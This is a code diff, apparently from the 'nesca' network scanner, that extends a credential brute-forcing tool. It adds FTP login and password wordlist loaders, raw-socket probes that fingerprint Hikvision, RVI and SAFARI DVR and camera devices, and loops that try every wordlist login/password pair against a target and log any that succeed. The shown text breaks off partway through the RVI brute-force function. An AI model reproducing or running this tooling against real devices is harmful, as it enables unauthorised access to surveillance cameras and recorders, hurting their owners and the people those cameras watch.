long FileUpdater::oldLoginLstSize = 0;
|
||||||
@ -10,6 +15,8 @@ long FileUpdater::oldPassLstSize = 0;
|
|||||||
long FileUpdater::oldSSHLstSize = 0;
|
long FileUpdater::oldSSHLstSize = 0;
|
||||||
long FileUpdater::oldWFLoginLstSize = 0;
|
long FileUpdater::oldWFLoginLstSize = 0;
|
||||||
long FileUpdater::oldWFPassLstSize = 0;
|
long FileUpdater::oldWFPassLstSize = 0;
|
||||||
|
long FileUpdater::oldFTPLoginLstSize = 0;
|
||||||
|
long FileUpdater::oldFTPPassLstSize = 0;
|
||||||
int FileUpdater::gNegativeSize = 0;
|
int FileUpdater::gNegativeSize = 0;
|
||||||
std::mutex FileUpdater::filesUpdatingMutex;
|
std::mutex FileUpdater::filesUpdatingMutex;
|
||||||
std::condition_variable FileUpdater::cv;
|
std::condition_variable FileUpdater::cv;
|
||||||
@ -18,7 +25,7 @@ std::unique_lock<std::mutex> FileUpdater::lk;
|
|||||||
std::vector<std::string> FileUpdater::negativeVector;
|
std::vector<std::string> FileUpdater::negativeVector;
|
||||||
|
|
||||||
void negativeLoader() {
|
void negativeLoader() {
|
||||||
std::ifstream file("negatives.txt");
|
std::ifstream file(NEGATIVE_FN);
|
||||||
std::string line;
|
std::string line;
|
||||||
|
|
||||||
while (std::getline(file, line)) FileUpdater::negativeVector.push_back(line);
|
while (std::getline(file, line)) FileUpdater::negativeVector.push_back(line);
|
||||||
@ -41,7 +48,7 @@ void updateLogin() {
|
|||||||
|
|
||||||
char buffFG[32] = {0};
|
char buffFG[32] = {0};
|
||||||
|
|
||||||
FILE *loginList = fopen("login.txt", "r");
|
FILE *loginList = fopen(LOGIN_FN, "r");
|
||||||
|
|
||||||
if(loginList != NULL)
|
if(loginList != NULL)
|
||||||
{
|
{
|
||||||
@ -94,7 +101,7 @@ void updatePass() {
|
|||||||
|
|
||||||
char buffFG[32] = {0};
|
char buffFG[32] = {0};
|
||||||
|
|
||||||
FILE *passList = fopen("pass.txt", "r");
|
FILE *passList = fopen(PASS_FN, "r");
|
||||||
|
|
||||||
if(passList != NULL)
|
if(passList != NULL)
|
||||||
{
|
{
|
||||||
@ -148,7 +155,7 @@ void updateSSH() {
|
|||||||
char buffFG[32] = {0};
|
char buffFG[32] = {0};
|
||||||
ZeroMemory(buffFG, sizeof(buffFG));
|
ZeroMemory(buffFG, sizeof(buffFG));
|
||||||
|
|
||||||
FILE *sshlpList = fopen("sshpass.txt", "r");
|
FILE *sshlpList = fopen(SSH_PASS_FN, "r");
|
||||||
|
|
||||||
if(sshlpList != NULL)
|
if(sshlpList != NULL)
|
||||||
{
|
{
|
||||||
@ -202,7 +209,7 @@ void updateWFLogin() {
|
|||||||
char buffFG[32] = {0};
|
char buffFG[32] = {0};
|
||||||
ZeroMemory(buffFG, sizeof(buffFG));
|
ZeroMemory(buffFG, sizeof(buffFG));
|
||||||
|
|
||||||
FILE *wfLoginList = fopen("wflogin.txt", "r");
|
FILE *wfLoginList = fopen(WF_LOGIN_FN, "r");
|
||||||
|
|
||||||
if(wfLoginList != NULL)
|
if(wfLoginList != NULL)
|
||||||
{
|
{
|
||||||
@ -251,7 +258,7 @@ void updateWFPass() {
|
|||||||
char buffFG[32] = {0};
|
char buffFG[32] = {0};
|
||||||
ZeroMemory(buffFG, sizeof(buffFG));
|
ZeroMemory(buffFG, sizeof(buffFG));
|
||||||
|
|
||||||
FILE *wfPassList = fopen("wfpass.txt", "r");
|
FILE *wfPassList = fopen(WF_PASS_FN, "r");
|
||||||
|
|
||||||
if(wfPassList != NULL)
|
if(wfPassList != NULL)
|
||||||
{
|
{
|
||||||
@ -286,7 +293,104 @@ void updateWFPass() {
|
|||||||
fclose(wfPassList);
|
fclose(wfPassList);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
void updateFTPLogin() {
|
||||||
|
|
||||||
|
if (ftpLoginLst != NULL)
|
||||||
|
{
|
||||||
|
for (int i = 0; i < MaxFTPLogin; ++i) delete[]ftpLoginLst[i];
|
||||||
|
delete[]ftpLoginLst;
|
||||||
|
ftpLoginLst = NULL;
|
||||||
|
};
|
||||||
|
|
||||||
|
MaxFTPLogin = 0;
|
||||||
|
|
||||||
|
char buffFG[32] = { 0 };
|
||||||
|
ZeroMemory(buffFG, sizeof(buffFG));
|
||||||
|
|
||||||
|
FILE *ftpLoginList = fopen(FTP_LOGIN_FN, "r");
|
||||||
|
|
||||||
|
if (ftpLoginList != NULL)
|
||||||
|
{
|
||||||
|
while (fgets(buffFG, 32, ftpLoginList) != NULL)
|
||||||
|
{
|
||||||
|
MaxFTPLogin++;
|
||||||
|
ZeroMemory(buffFG, sizeof(buffFG));
|
||||||
|
};
|
||||||
|
|
||||||
|
rewind(ftpLoginList);
|
||||||
|
|
||||||
|
ftpLoginLst = new char*[MaxFTPLogin];
|
||||||
|
|
||||||
|
for (int j = 0; j < MaxFTPLogin; j++)
|
||||||
|
{
|
||||||
|
ftpLoginLst[j] = new char[32];
|
||||||
|
};
|
||||||
|
|
||||||
|
int i = 0;
|
||||||
|
while (fgets(buffFG, 32, ftpLoginList) != NULL)
|
||||||
|
{
|
||||||
|
memset(ftpLoginLst[i], 0, strlen(buffFG) + 1);
|
||||||
|
|
||||||
|
if (strstr(buffFG, "\n") != NULL) strncat(ftpLoginLst[i++], buffFG, strlen(buffFG) - 1);
|
||||||
|
else strncat(ftpLoginLst[i++], buffFG, strlen(buffFG));
|
||||||
|
ZeroMemory(buffFG, sizeof(buffFG));
|
||||||
|
};
|
||||||
|
|
||||||
|
if (FileUpdater::oldFTPLoginLstSize == 0) stt->doEmitionGreenFoundData("FTP login list loaded (" + QString::number(MaxFTPLogin) + " entries)");
|
||||||
|
else stt->doEmitionFoundData("<font color=\"Pink\">FTP login list updated (" + QString::number(MaxFTPLogin) + " entries)</font>");
|
||||||
|
|
||||||
|
fclose(ftpLoginList);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
void updateFTPPass() {
|
||||||
|
|
||||||
|
if (ftpPassLst != NULL)
|
||||||
|
{
|
||||||
|
for (int i = 0; i < MaxFTPPass; ++i) delete[]ftpPassLst[i];
|
||||||
|
delete[]ftpPassLst;
|
||||||
|
ftpPassLst = NULL;
|
||||||
|
};
|
||||||
|
|
||||||
|
MaxFTPPass = 0;
|
||||||
|
|
||||||
|
char buffFG[32] = { 0 };
|
||||||
|
ZeroMemory(buffFG, sizeof(buffFG));
|
||||||
|
|
||||||
|
FILE *ftpPassList = fopen(FTP_PASS_FN, "r");
|
||||||
|
|
||||||
|
if (ftpPassList != NULL)
|
||||||
|
{
|
||||||
|
while (fgets(buffFG, 32, ftpPassList) != NULL)
|
||||||
|
{
|
||||||
|
++MaxFTPPass;
|
||||||
|
ZeroMemory(buffFG, sizeof(buffFG));
|
||||||
|
};
|
||||||
|
|
||||||
|
rewind(ftpPassList);
|
||||||
|
|
||||||
|
ftpPassLst = new char*[MaxFTPPass];
|
||||||
|
|
||||||
|
for (int j = 0; j < MaxFTPPass; j++)
|
||||||
|
{
|
||||||
|
ftpPassLst[j] = new char[32];
|
||||||
|
};
|
||||||
|
|
||||||
|
int i = 0;
|
||||||
|
while (fgets(buffFG, 32, ftpPassList) != NULL)
|
||||||
|
{
|
||||||
|
memset(ftpPassLst[i], 0, strlen(buffFG) + 1);
|
||||||
|
|
||||||
|
if (strstr(buffFG, "\n") != NULL) strncat(ftpPassLst[i++], buffFG, strlen(buffFG) - 1);
|
||||||
|
else strncat(ftpPassLst[i++], buffFG, strlen(buffFG));
|
||||||
|
ZeroMemory(buffFG, sizeof(buffFG));
|
||||||
|
};
|
||||||
|
|
||||||
|
if (FileUpdater::oldFTPPassLstSize == 0) stt->doEmitionGreenFoundData("FTP password list loaded (" + QString::number(MaxFTPPass) + " entries)");
|
||||||
|
else stt->doEmitionFoundData("<font color=\"Pink\">FTP password list updated (" + QString::number(MaxFTPPass) + " entries)</font>");
|
||||||
|
|
||||||
|
fclose(ftpPassList);
|
||||||
|
}
|
||||||
|
}
|
||||||
long getFileSize(const char *fileName) {
|
long getFileSize(const char *fileName) {
|
||||||
std::ifstream in(fileName, std::ifstream::ate | std::ifstream::binary);
|
std::ifstream in(fileName, std::ifstream::ate | std::ifstream::binary);
|
||||||
return in.tellg();
|
return in.tellg();
|
||||||
@ -316,12 +420,14 @@ void FileUpdater::updateLists() {
|
|||||||
}
|
}
|
||||||
|
|
||||||
void FileUpdater::loadOnce() {
|
void FileUpdater::loadOnce() {
|
||||||
updateList("negatives.txt", &oldNegLstSize, (void*(*)(void))updateNegatives);
|
updateList(NEGATIVE_FN, &oldNegLstSize, (void*(*)(void))updateNegatives);
|
||||||
updateList("login.txt", &oldLoginLstSize, (void*(*)(void))updateLogin);
|
updateList(LOGIN_FN, &oldLoginLstSize, (void*(*)(void))updateLogin);
|
||||||
updateList("pass.txt", &oldPassLstSize, (void*(*)(void))updatePass);
|
updateList(PASS_FN, &oldPassLstSize, (void*(*)(void))updatePass);
|
||||||
updateList("sshpass.txt", &oldSSHLstSize, (void*(*)(void))updateSSH);
|
updateList(SSH_PASS_FN, &oldSSHLstSize, (void*(*)(void))updateSSH);
|
||||||
updateList("wflogin.txt", &oldWFLoginLstSize, (void*(*)(void))updateWFLogin);
|
updateList(WF_LOGIN_FN, &oldWFLoginLstSize, (void*(*)(void))updateWFLogin);
|
||||||
updateList("wfpass.txt", &oldWFPassLstSize, (void*(*)(void))updateWFPass);
|
updateList(WF_PASS_FN, &oldWFPassLstSize, (void*(*)(void))updateWFPass);
|
||||||
|
updateList(FTP_LOGIN_FN, &oldFTPLoginLstSize, (void*(*)(void))updateFTPLogin);
|
||||||
|
updateList(FTP_PASS_FN, &oldFTPPassLstSize, (void*(*)(void))updateFTPPass);
|
||||||
}
|
}
|
||||||
|
|
||||||
void FileUpdater::FUClear() {
|
void FileUpdater::FUClear() {
|
||||||
@ -332,4 +438,6 @@ void FileUpdater::FUClear() {
|
|||||||
oldSSHLstSize = 0;
|
oldSSHLstSize = 0;
|
||||||
oldWFLoginLstSize = 0;
|
oldWFLoginLstSize = 0;
|
||||||
oldWFPassLstSize = 0;
|
oldWFPassLstSize = 0;
|
||||||
|
oldFTPLoginLstSize = 0;
|
||||||
|
oldFTPPassLstSize = 0;
|
||||||
}
|
}
|
||||||
|
@ -15,6 +15,9 @@ public:
|
|||||||
static long oldSSHLstSize;
|
static long oldSSHLstSize;
|
||||||
static long oldWFLoginLstSize;
|
static long oldWFLoginLstSize;
|
||||||
static long oldWFPassLstSize;
|
static long oldWFPassLstSize;
|
||||||
|
static long oldFTPLoginLstSize;
|
||||||
|
static long oldFTPPassLstSize;
|
||||||
|
|
||||||
static bool ready;
|
static bool ready;
|
||||||
static std::condition_variable cv;
|
static std::condition_variable cv;
|
||||||
static std::mutex filesUpdatingMutex;
|
static std::mutex filesUpdatingMutex;
|
||||||
|
@ -4,37 +4,383 @@
|
|||||||
|
|
||||||
bool HikVis::isInitialized = false;
|
bool HikVis::isInitialized = false;
|
||||||
|
|
||||||
|
const char headerSAFARI[128] = {
|
||||||
|
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x60, 0x52, 0x00, 0x00, 0x00, 0x7b, 0x22, 0x4d, 0x4f,
|
||||||
|
0x44, 0x55, 0x4c, 0x45, 0x22, 0x3a, 0x22, 0x43, 0x45, 0x52, 0x54, 0x49, 0x46, 0x49, 0x43, 0x41,
|
||||||
|
0x54, 0x45, 0x22, 0x2c, 0x22, 0x4f, 0x50, 0x45, 0x52, 0x41, 0x54, 0x49, 0x4f, 0x4e, 0x22, 0x3a,
|
||||||
|
0x22, 0x43, 0x4f, 0x4e, 0x4e, 0x45, 0x43, 0x54, 0x22, 0x2c, 0x22, 0x53, 0x45, 0x53, 0x53, 0x49,
|
||||||
|
0x4f, 0x4e, 0x22, 0x3a, 0x22, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x35, 0x2d, 0x36, 0x66,
|
||||||
|
0x37, 0x32, 0x2d, 0x34, 0x31, 0x63, 0x61, 0x2d, 0x39, 0x63, 0x37, 0x33, 0x2d, 0x62, 0x34, 0x37,
|
||||||
|
0x31, 0x33, 0x32, 0x36, 0x33, 0x65, 0x62, 0x36, 0x30, 0x22, 0x7d, 0x00
|
||||||
|
};
|
||||||
|
|
||||||
|
const char headerIVMS[32] = {
|
||||||
|
0x00, 0x00, 0x00, 0x20, 0x63, 0x00, 0x00, 0x00,
|
||||||
|
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||||
|
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||||
|
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
|
||||||
|
};
|
||||||
|
|
||||||
|
const char headerRVI[32] = {
|
||||||
|
0xa0, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x00,
|
||||||
|
0x61, 0x64, 0x6d, 0x69, 0x6e, 0x00, 0x00, 0x00,
|
||||||
|
0x61, 0x64, 0x6d, 0x69, 0x6e, 0x00, 0x00, 0x00,
|
||||||
|
0x04, 0x01, 0x00, 0x00, 0x00, 0x00, 0xa1, 0xaa
|
||||||
|
};
|
||||||
|
|
||||||
|
const char loginRVIHeaderStart[8] = {
|
||||||
|
0xa0, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x00
|
||||||
|
};
|
||||||
|
const char loginRVIHeaderEnd[8] = {
|
||||||
|
0x04, 0x01, 0x00, 0x00, 0x00, 0x00, 0xa1, 0xaa
|
||||||
|
};
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
int recvWT(
|
||||||
|
int Socket,
|
||||||
|
char *Buffer,
|
||||||
|
int Len,
|
||||||
|
long Timeout,
|
||||||
|
int *bTimedOut
|
||||||
|
){
|
||||||
|
fd_set ReadSet;
|
||||||
|
int n;
|
||||||
|
struct timeval Time;
|
||||||
|
FD_ZERO(&ReadSet);
|
||||||
|
FD_SET(Socket, &ReadSet);
|
||||||
|
Time.tv_sec = Timeout;
|
||||||
|
Time.tv_usec = 0;
|
||||||
|
*bTimedOut = FALSE;
|
||||||
|
n = select(Socket + 1, &ReadSet, NULL, NULL, &Time);
|
||||||
|
if (n > 0) { /* got some data */
|
||||||
|
return recv(Socket, Buffer, Len, 0);
|
||||||
|
}
|
||||||
|
if (n == 0) { /* timeout */
|
||||||
|
*bTimedOut = TRUE;
|
||||||
|
}
|
||||||
|
return(n); /* trouble */
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
bool HikVis::checkHikk(const char * sDVRIP, int port) {
|
||||||
|
sockaddr_in sa;
|
||||||
|
sa.sin_family = AF_INET;
|
||||||
|
sa.sin_port = htons(port);
|
||||||
|
|
||||||
|
hostent *host = NULL;
|
||||||
|
#if defined(WIN32)
|
||||||
|
if (inet_addr(sDVRIP) != INADDR_NONE) sa.sin_addr.S_un.S_addr = inet_addr(sDVRIP);
|
||||||
|
else if (host = gethostbyname(sDVRIP)) ((unsigned long*)&sa.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0];
|
||||||
|
#else
|
||||||
|
if (inet_addr(sDVRIP) != INADDR_NONE) sa.sin_addr.s_addr = inet_addr(sDVRIP);
|
||||||
|
else if (host = gethostbyname(sDVRIP)) ((unsigned long*)&sa.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0];
|
||||||
|
#endif
|
||||||
|
else return false;
|
||||||
|
|
||||||
|
SOCKET sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
|
||||||
|
if (sock == INVALID_SOCKET) return false;
|
||||||
|
|
||||||
|
struct linger linger = { 1, gTimeOut };
|
||||||
|
setsockopt(sock, SOL_SOCKET, SO_LINGER, (const char *)&linger, sizeof(linger));
|
||||||
|
|
||||||
|
int res = connect(sock, (sockaddr*)&sa, sizeof(sa));
|
||||||
|
int bTO;
|
||||||
|
char buff[2048] = { 0 };
|
||||||
|
if (res != SOCKET_ERROR) {
|
||||||
|
send(sock, headerIVMS, 32, 0);
|
||||||
|
char tBuff[32] = { 0 };
|
||||||
|
int offset = 0;
|
||||||
|
int sz = 0;
|
||||||
|
while ((sz = recvWT(sock, tBuff, 16, gTimeOut, &bTO)) > 0) {
|
||||||
|
memcpy(buff + offset, tBuff, sz);
|
||||||
|
offset = sz;
|
||||||
|
}
|
||||||
|
|
||||||
|
shutdown(sock, SD_BOTH);
|
||||||
|
closesocket(sock);
|
||||||
|
|
||||||
|
if (buff[3] == 0x10) return true;
|
||||||
|
else return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
shutdown(sock, SD_BOTH);
|
||||||
|
closesocket(sock);
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
bool HikVis::checkRVI(const char * sDVRIP, int port) {
|
||||||
|
sockaddr_in sa;
|
||||||
|
sa.sin_family = AF_INET;
|
||||||
|
sa.sin_port = htons(port);
|
||||||
|
|
||||||
|
hostent *host = NULL;
|
||||||
|
#if defined(WIN32)
|
||||||
|
if (inet_addr(sDVRIP) != INADDR_NONE) sa.sin_addr.S_un.S_addr = inet_addr(sDVRIP);
|
||||||
|
else if (host = gethostbyname(sDVRIP)) ((unsigned long*)&sa.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0];
|
||||||
|
#else
|
||||||
|
if (inet_addr(sDVRIP) != INADDR_NONE) sa.sin_addr.s_addr = inet_addr(sDVRIP);
|
||||||
|
else if (host = gethostbyname(sDVRIP)) ((unsigned long*)&sa.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0];
|
||||||
|
#endif
|
||||||
|
else return false;
|
||||||
|
|
||||||
|
SOCKET sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
|
||||||
|
if (sock == INVALID_SOCKET) return false;
|
||||||
|
|
||||||
|
struct linger linger = { 1, gTimeOut };
|
||||||
|
setsockopt(sock, SOL_SOCKET, SO_LINGER, (const char *)&linger, sizeof(linger));
|
||||||
|
|
||||||
|
int res = connect(sock, (sockaddr*)&sa, sizeof(sa));
|
||||||
|
int bTO;
|
||||||
|
char buff[2048] = { 0 };
|
||||||
|
if (res != SOCKET_ERROR) {
|
||||||
|
send(sock, headerRVI, 32, 0);
|
||||||
|
char tBuff[32] = { 0 };
|
||||||
|
int offset = 0;
|
||||||
|
int sz = 0;
|
||||||
|
while ((sz = recvWT(sock, tBuff, 16, gTimeOut, &bTO)) > 0) {
|
||||||
|
memcpy(buff + offset, tBuff, sz);
|
||||||
|
offset = sz;
|
||||||
|
}
|
||||||
|
|
||||||
|
shutdown(sock, SD_BOTH);
|
||||||
|
closesocket(sock);
|
||||||
|
|
||||||
|
if (buff[0] == -80) return true;
|
||||||
|
else return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
shutdown(sock, SD_BOTH);
|
||||||
|
closesocket(sock);
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
bool HikVis::checkSAFARI(const char * sDVRIP, int port) {
|
||||||
|
sockaddr_in sa;
|
||||||
|
sa.sin_family = AF_INET;
|
||||||
|
sa.sin_port = htons(port);
|
||||||
|
|
||||||
|
hostent *host = NULL;
|
||||||
|
#if defined(WIN32)
|
||||||
|
if (inet_addr(sDVRIP) != INADDR_NONE) sa.sin_addr.S_un.S_addr = inet_addr(sDVRIP);
|
||||||
|
else if (host = gethostbyname(sDVRIP)) ((unsigned long*)&sa.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0];
|
||||||
|
#else
|
||||||
|
if (inet_addr(sDVRIP) != INADDR_NONE) sa.sin_addr.s_addr = inet_addr(sDVRIP);
|
||||||
|
else if (host = gethostbyname(sDVRIP)) ((unsigned long*)&sa.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0];
|
||||||
|
#endif
|
||||||
|
else return false;
|
||||||
|
|
||||||
|
SOCKET sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
|
||||||
|
if (sock == INVALID_SOCKET) return false;
|
||||||
|
|
||||||
|
struct linger linger = { 1, gTimeOut };
|
||||||
|
setsockopt(sock, SOL_SOCKET, SO_LINGER, (const char *)&linger, sizeof(linger));
|
||||||
|
|
||||||
|
int res = connect(sock, (sockaddr*)&sa, sizeof(sa));
|
||||||
|
int bTO;
|
||||||
|
char buff[2048] = { 0 };
|
||||||
|
if (res != SOCKET_ERROR) {
|
||||||
|
send(sock, headerSAFARI, 128, 0);
|
||||||
|
char tBuff[128] = { 0 };
|
||||||
|
int offset = 0;
|
||||||
|
int sz = 0;
|
||||||
|
while ((sz = recvWT(sock, tBuff, 128, gTimeOut, &bTO)) > 0) {
|
||||||
|
memcpy(buff + offset, tBuff, sz);
|
||||||
|
offset = sz;
|
||||||
|
}
|
||||||
|
|
||||||
|
shutdown(sock, SD_BOTH);
|
||||||
|
closesocket(sock);
|
||||||
|
|
||||||
|
if (buff[0] != '\0') {
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (buff[0] == 8) return true;
|
||||||
|
else return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
shutdown(sock, SD_BOTH);
|
||||||
|
closesocket(sock);
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
lopaStr HikVis::hikLogin(const char * sDVRIP, int wDVRPort)
|
lopaStr HikVis::hikLogin(const char * sDVRIP, int wDVRPort)
|
||||||
{
|
{
|
||||||
lopaStr lps = { "UNKNOWN", "", "" };
|
lopaStr lps = { "UNKNOWN", "", "" };
|
||||||
int passCounter = 0;
|
int passCounter = 0;
|
||||||
|
char ip[64] = { 0 };
|
||||||
|
strcpy(ip, sDVRIP);
|
||||||
|
int rowIndex = -1;
|
||||||
|
|
||||||
|
char login[64] = { 0 };
|
||||||
|
char pass[64] = { 0 };
|
||||||
|
|
||||||
for (int i = 0; i < MaxLogin; ++i) {
|
for (int i = 0; i < MaxLogin; ++i) {
|
||||||
for (int j = 0; j < MaxPass; ++j) {
|
for (int j = 0; j < MaxPass; ++j) {
|
||||||
FileUpdater::cv.wait(FileUpdater::lk, []{return FileUpdater::ready; });
|
FileUpdater::cv.wait(FileUpdater::lk, []{return FileUpdater::ready; });
|
||||||
if (!globalScanFlag) return lps;
|
if (!globalScanFlag) return lps;
|
||||||
|
ZeroMemory(login, 64);
|
||||||
|
ZeroMemory(pass, 64);
|
||||||
|
strcpy(login, loginLst[i]);
|
||||||
|
strcpy(pass, passLst[j]);
|
||||||
|
|
||||||
NET_DVR_DEVICEINFO_V30 *info;
|
NET_DVR_DEVICEINFO_V30 *info = 0;
|
||||||
hik_init_ptr();
|
hik_init_ptr();
|
||||||
if (hik_login_ptr(sDVRIP, wDVRPort, loginLst[i], passLst[j], info) == 0) {
|
int res = hik_login_ptr(ip, wDVRPort, login, pass, info);
|
||||||
strcpy(lps.login, loginLst[i]);
|
|
||||||
strcpy(lps.pass, passLst[j]);
|
|
||||||
hik_cleanup_ptr();
|
|
||||||
return lps;
|
|
||||||
}
|
|
||||||
hik_cleanup_ptr();
|
hik_cleanup_ptr();
|
||||||
|
if (res == 0) {
|
||||||
|
strcpy(lps.login, login);
|
||||||
|
strcpy(lps.pass, pass);
|
||||||
|
|
||||||
if (BALogSwitched) stt->doEmitionBAData("HV: " + QString(sDVRIP) + ":" + QString::number(wDVRPort) +
|
if (rowIndex == -1) {
|
||||||
"; l/p: " + QString(loginLst[i]) + ":" + QString(passLst[j]) + "; - Progress: (" +
|
nesca_3::addBARow(QString(ip) + ":" + QString::number(wDVRPort), QString(login) + ":" + QString(pass), "OK");
|
||||||
QString::number((++passCounter / (double)(MaxPass*MaxLogin)) * 100).mid(0, 4) + "%)");
|
|
||||||
|
|
||||||
Sleep(100);
|
|
||||||
}
|
}
|
||||||
|
else {
|
||||||
|
stt->doEmitionChangeBARow(rowIndex, QString(login) + ":" + QString(pass), "OK");
|
||||||
}
|
}
|
||||||
|
|
||||||
return lps;
|
return lps;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
if (BALogSwitched) {
|
||||||
|
if (rowIndex == -1) {
|
||||||
|
rowIndex = nesca_3::addBARow(QString(ip) + ":" + QString::number(wDVRPort),
|
||||||
|
QString(login) + ":" + QString(pass),
|
||||||
|
QString::number((passCounter / (double)(MaxPass*MaxLogin)) * 100).mid(0, 4) + "%");
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
stt->doEmitionChangeBARow(rowIndex, QString(login) + ":" + QString(pass),
|
||||||
|
QString::number((passCounter / (double)(MaxPass*MaxLogin)) * 100).mid(0, 4) + "%");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
else{ rowIndex = -1; }
|
||||||
|
++passCounter;
|
||||||
|
Sleep(200);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if (rowIndex == -1) {
|
||||||
|
nesca_3::addBARow(QString(ip) + ":" + QString::number(wDVRPort), "--", "FAIL");
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
stt->doEmitionChangeBARow(rowIndex, "--", "FAIL");
|
||||||
|
}
|
||||||
|
return lps;
|
||||||
|
}
|
||||||
|
|
||||||
|
int rvi_login_ptr(const char *sDVRIP, int wDVRPort, const char *login, const char *pass) {
|
||||||
|
sockaddr_in sa;
|
||||||
|
sa.sin_family = AF_INET;
|
||||||
|
sa.sin_port = htons(wDVRPort);
|
||||||
|
|
||||||
|
hostent *host = NULL;
|
||||||
|
#if defined(WIN32)
|
||||||
|
if (inet_addr(sDVRIP) != INADDR_NONE) sa.sin_addr.S_un.S_addr = inet_addr(sDVRIP);
|
||||||
|
else if (host = gethostbyname(sDVRIP)) ((unsigned long*)&sa.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0];
|
||||||
|
#else
|
||||||
|
if (inet_addr(sDVRIP) != INADDR_NONE) sa.sin_addr.s_addr = inet_addr(sDVRIP);
|
||||||
|
else if (host = gethostbyname(sDVRIP)) ((unsigned long*)&sa.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0];
|
||||||
|
#endif
|
||||||
|
else return -1;
|
||||||
|
|
||||||
|
SOCKET sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
|
||||||
|
if (sock == INVALID_SOCKET) return -1;
|
||||||
|
|
||||||
|
struct linger linger = { 1, gTimeOut };
|
||||||
|
setsockopt(sock, SOL_SOCKET, SO_LINGER, (const char *)&linger, sizeof(linger));
|
||||||
|
|
||||||
|
int res = connect(sock, (sockaddr*)&sa, sizeof(sa));
|
||||||
|
int bTO;
|
||||||
|
|
||||||
|
char newlp[32] = {0};
|
||||||
|
memcpy(newlp, loginRVIHeaderStart, 8);
|
||||||
|
memcpy(newlp + 8, login, strlen(login));
|
||||||
|
memcpy(newlp + 16, pass, strlen(pass));
|
||||||
|
memcpy(newlp + 24, loginRVIHeaderEnd, 8);
|
||||||
|
|
||||||
|
if (res != SOCKET_ERROR) {
|
||||||
|
send(sock, newlp, 32, 0);
|
||||||
|
char buff[32] = { 0 };
|
||||||
|
recvWT(sock, buff, 16, gTimeOut, &bTO);
|
||||||
|
|
||||||
|
shutdown(sock, SD_BOTH);
|
||||||
|
closesocket(sock);
|
||||||
|
|
||||||
|
if (buff[9] == 0x08) return 0;
|
||||||
|
else return -1;
|
||||||
|
}
|
||||||
|
|
||||||
|
shutdown(sock, SD_BOTH);
|
||||||
|
closesocket(sock);
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
|
||||||
|
lopaStr HikVis::rviLogin(const char * sDVRIP, int wDVRPort)
|
||||||
|
{
|
||||||
|
lopaStr lps = { "UNKNOWN", "", "" };
|
||||||
|
int passCounter = 0;
|
||||||
|
char ip[64] = { 0 };
|
||||||
|
strcpy(ip, sDVRIP);
|
||||||
|
int rowIndex = -1;
|
||||||
|
|
||||||
|
char login[64] = { 0 };
|
||||||
|
char pass[64] = { 0 };
|
||||||
|
|
||||||
|
for (int i = 0; i < MaxLogin; ++i) {
|
||||||
|
for (int j = 0; j < MaxPass; ++j) {
|
||||||
|
FileUpdater::cv.wait(FileUpdater::lk, []{return FileUpdater::ready; });
|
||||||
|
if (!globalScanFlag) return lps;
|
||||||
|
ZeroMemory(login, 64);
|
||||||
|
ZeroMemory(pass, 64);
|
||||||
|
strcpy(login, loginLst[i]);
|
||||||
|
strcpy(pass, passLst[j]);
|
||||||
|
|
||||||
|
if (strlen(login) > 8) break;
|
||||||
|
if (strlen(pass) > 8) continue;
|
||||||
|
|
||||||
|
if (rvi_login_ptr(ip, wDVRPort, login, pass) == 0) {
|
||||||
|
strcpy(lps.login, login);
|
||||||
|
strcpy(lps.pass, pass);
|
||||||
|
|
||||||
|
if (rowIndex == -1) {
|
||||||
|
nesca_3::addBARow(QString(ip) + ":" + QString::number(wDVRPort), QString(login) + ":" + QString(pass), "OK");
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
stt->doEmitionChangeBARow(rowIndex, QString(login) + ":" + QString(pass), "OK");
|
||||||
|
}
|
||||||
|
|
||||||
|
return lps;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (BALogSwitched) {
|
||||||
|
if (rowIndex == -1) {
|
||||||
|
rowIndex = nesca_3::addBARow(QString(ip) + ":" + QString::number(wDVRPort),
|
||||||
|
QString(login) + ":" + QString(pass),
|
||||||
|
QString::number((passCounter / (double)(MaxPass*MaxLogin)) * 100).mid(0, 4) + "%");
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
stt->doEmitionChangeBARow(rowIndex, QString(login) + ":" + QString(pass),
|
||||||
|
QString::number((passCounter / (double)(MaxPass*MaxLogin)) * 100).mid(0, 4) + "%");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
else { rowIndex = -1; }
|
||||||
|
